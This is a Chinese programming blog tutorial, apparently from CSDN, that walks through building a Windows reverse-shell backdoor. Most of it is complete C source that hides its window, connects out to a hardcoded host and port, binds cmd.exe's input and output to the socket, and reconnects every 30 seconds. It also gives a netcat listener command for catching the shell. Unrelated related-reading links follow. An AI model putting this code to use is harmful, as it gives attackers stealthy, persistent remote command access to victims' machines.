• 17.3 实现无管道反向CMD


    WSASocket无管道反向CMD,与无管道正向CMD相反,这种方式是在远程主机上创建一个TCP套接字,并绑定到一个本地地址和端口上。然后在本地主机上,使用WSASocket函数连接到远程主机的套接字,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,本地主机就可以通过网络连接到远程主机的套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道反向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。

    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    #include 
    #include 
    
    #pragma comment(lib,"ws2_32")
    
    const CHAR* REMOTE_ADDR = "127.0.0.1";
    const DWORD REMOTE_PORT = 9999;
    const DWORD MAXSTR = 255;
    
    void StartShell(SOCKET sSock)
    {
      STARTUPINFO si;
      PROCESS_INFORMATION pi;
      CHAR cmdline[MAXSTR] = { 0 };
    
      // 绑定输入输出
      GetStartupInfo(&si);
      si.cb = sizeof(STARTUPINFO);
      si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;
      si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
      si.wShowWindow = SW_HIDE;
    
      // 取系统目录并拼接CMD.exe
      GetSystemDirectory(cmdline, MAXSTR);
      strcat_s(cmdline, MAXSTR, "\\cmd.exe");
    
      // 创建进程
      while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
      {
        Sleep(1000);
      }
      WaitForSingleObject(pi.hProcess, INFINITE);
      CloseHandle(pi.hProcess);
      CloseHandle(pi.hThread);
      return;
    }
    
    int main(int argc, char *argv[])
    {
      SOCKADDR_IN sin;
      WSADATA wsd;
      SOCKET sSock;
      int cRet;
    
      // 初始化套接字
      if (WSAStartup(MAKEWORD(2, 2), &wsd) == SOCKET_ERROR)
      {
        return 0;
      }
    
      while (1)
      {
        // 绑定异步套接字
        if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
        {
          return 0;
        }
    
        // 设置端口信息等
        sin.sin_family = AF_INET;
        sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
        sin.sin_port = htons(REMOTE_PORT);
    
        do
        {
          // 连接到远程主机
          cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin));
        } while (cRet == SOCKET_ERROR);
        
        // 启动CMD后门
        StartShell(sSock);
        closesocket(sSock);
        Sleep(30000);
      }
    
      WSACleanup();
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79

    编译并运行上述程序,读者可自行打开netcat工具,并执行nc -l -p 9999开启本机侦听端口,此时后门程序会每隔30000毫秒自动连接一次服务端,当连接成功后则自动执行StartShell函数创建一个反弹后门,输出效果图如下所示;

  • 相关阅读:
    Pytorch入门实例
    spring进阶学习记录
    leetcode_168 Excel表列名称
    qt槽函数的四种写法
    web3.0学习入门7:深入学习Web3.0
    Jenkins构建Maven项目
    Linux多线程之线程控制
    队列和进程的使用
    电子学:第010课——实验 8:继电振荡器
    CentOS7.5 更新内核 内核升级
  • 原文地址:https://blog.csdn.net/lyshark_csdn/article/details/133981608